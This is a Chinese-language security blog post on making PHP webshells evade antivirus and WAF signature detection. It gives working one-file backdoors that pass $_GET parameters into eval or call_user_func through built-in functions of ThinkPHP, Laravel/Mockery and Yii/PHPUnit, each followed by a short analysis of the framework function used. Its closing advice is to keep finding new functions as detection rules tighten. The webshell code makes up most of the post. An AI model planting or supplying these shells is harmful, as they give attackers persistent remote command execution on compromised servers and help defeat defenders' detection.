<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    什么?你還不會webshell免殺?

    VSole2022-07-28 17:09:46

    基于框架免殺

    thinkphp

    array_map_recursive函數

    <?php
    define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
    include(WWW_PATH."ThinkPHP/Common/functions.php");
    array_map_recursive(I('get.func','',''),I('get.cmd','',''));
    

    array_map_recursive函數分析

    這里存在一個call_user_func命令執行函數

    function array_map_recursive($filter, $data) {
         $result = array();
         foreach ($data as $key => $val) {
             $result[$key] = is_array($val)
                 ? array_map_recursive($filter, $val)
                 : call_user_func($filter, $val);
         }
         return $result;
     }
    

    免殺效果

    B函數

    <?php
    define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
    include(WWW_PATH."ThinkPHP/Common/functions.php");
    include(WWW_PATH."ThinkPHP/Library/Think/Hook.class.php");
    class demo{
        function test($v){
            I('get.func','','')($v);
        }
    }
    B("demo","test",I('get.cmd','',''));
    

    免殺效果

    B函數分析

    function B($name, $tag='',&$params=NULL) {
        if(''==$tag){
            $name   .=  'Behavior';
        }
        return \Think\Hook::exec($name,$tag,$params);
    }
    

    exec函數分析

    在exec函數用存在有個類調用,且所有的參數都可控

        static public function exec($name, $tag,&$params=NULL) {
            if('Behavior' == substr($name,-8) ){
                // 行為擴展必須用run入口方法
                $tag    =   'run';
            }
            $addon   = new $name();
            return $addon->$tag($params);
        }
    

    smarty_php_tag函數

    <?php
    define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
    include(WWW_PATH."ThinkPHP/Library/Vendor/Smarty/SmartyBC.class.php");
    smarty_php_tag("",I('get.cmd','',''),"");
    

    免殺效果

    smarty_php_tag函數分析

    直接存在命令執行,且參數可控

    function smarty_php_tag($params, $content, $template, &$repeat)
    {
        eval($content);
        return '';
    }
    

    I函數

    <?php
    define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
    include(WWW_PATH."ThinkPHP/Common/functions.php");
    I('get.func','','')(I('get.cmd','',''));
    

    免殺效果

    Laravel

    EvalLoader#load

    <?php
    define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
    include(WWW_PATH."/vendor/autoload.php");
    $c = new Mockery\Generator\MockConfiguration(array(),array(),array(),'demo');
    $b = new Mockery\Generator\MockDefinition($c,'<?='.$_GET['cmd']);
    $a = new Mockery\Loader\EvalLoader();
    $a->load($b);
    

    免殺效果

    EvalLoader#load分析

    eval命令執行函數,參數可控

    class EvalLoader implements Loader
    {
        public function load(MockDefinition $definition)
        {
            if (class_exists($definition->getClassName(), false)) {
                return;
            }
            eval("?>" . $definition->getCode());
        }
    }
    

    MockTrait#generate

    <?php
    define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
    include(WWW_PATH."/vendor/autoload.php");
    $a = new PHPUnit\Framework\MockObject\MockTrait($_GET['cmd'],'demo');
    $a->generate();
    

    免殺效果

    MockTrait#generate函數分析

    存在一個eval函數

        public function generate(): string
        {
            if (!\class_exists($this->mockName, false)) {
                eval($this->classCode);
            }
            return $this->mockName;
        }
    

    yii

    MockTrait#generate

    <?php
    define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
    include(WWW_PATH."/vendor/autoload.php");
    $a = new PHPUnit\Framework\MockObject\MockTrait($_GET['cmd'],'demo');
    $a->generate();
    

    免殺效果

    view#evaluateDynamicContent

    <?php
    define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
    include(WWW_PATH."/vendor/autoload.php");
    $a = new yii\base\View();
    $a->evaluateDynamicContent($_GET['cmd']);
    

    免殺效果

    view#evaluateDynamicContent分析

        public function evaluateDynamicContent($statements)
        {
            return eval($statements);
        }
    

    總結

    通過文件包含框架文件,用框架內置的函數來替換一句話木馬中的功能函數,達到繞過特征匹配,如果后期規則增強,可以通過搜索新的函數來間接調用函數,像反序列化利用鏈一樣,當然,還有很多其他函數可以使用在這里就不多列舉。

    免殺php
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Windows defender 介紹Microsoft Defender 防病毒軟件在 Windows 1
    前言前段時間在刷CTF題目的時候碰到了各種過濾,其中給我印象最為深刻的是無字母數字Webshell,但是刷題的時候總覺得理解不是那么透徹,于是考慮寫一篇總結文章好好總結一下。
    下載dll,并添加至ext中在php.ini 中添加該擴展修改configure.ini;?具體步驟通過phpinfo獲取擴展信息,根據不同的加密擴展進行嘗試利用默認密鑰進行加密,通過訪問webshell來判斷密鑰是否正確,當然,這種方法其實只能用于權限維持需要拿到權限后獲取擴展文件破解后,才能穩定獲取密鑰,進而加密webshell
    傳統的php不用多說了 無非就是各種變形和外部參數獲取,對于一些先進的waf和防火墻來說,不論如何解析最終都會到達命令執行的地方,但是如果語法報錯的話,就可能導致解析失敗了,這里簡單說幾個利用php版本來進行語義出錯的php命令執行方式。
    傳統的php不用多說了,無非就是各種變形和外部參數獲取,對于一些先進的waf和防火墻來說,不論如何解析最終都會到達命令執行的地方,但是如果語法報錯的話,就可能導致解析失敗了,這里簡單說幾個利用php版本來進行語義出錯的php命令執行方式。
    0x01 php傳統的php不用多說了,無非就是各種變形和外部參數獲取,對于一些先進的waf和防火墻來說,不論如何解析最終都會到達命令執行的地方,但是如果語法報錯的話,就可能導致解析失敗了,這里簡單說幾個利用php版本來進行語義出錯的php命令執行方式。
    php后門隱藏技巧大全
    2022-08-03 06:49:26
    辛辛苦苦拿下的 shell,幾天沒看,管理員給刪了。其實隱藏的技巧也有很多1.attrib +s +h一創建系統隱藏文件:attrib +s +a +r +hattrib +s +h 文件名在 Windows 10下即使開啟了顯示隱藏的項目,或dir仍然看不見。利用ADS 數據流,我們可以做很多有趣的事情。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类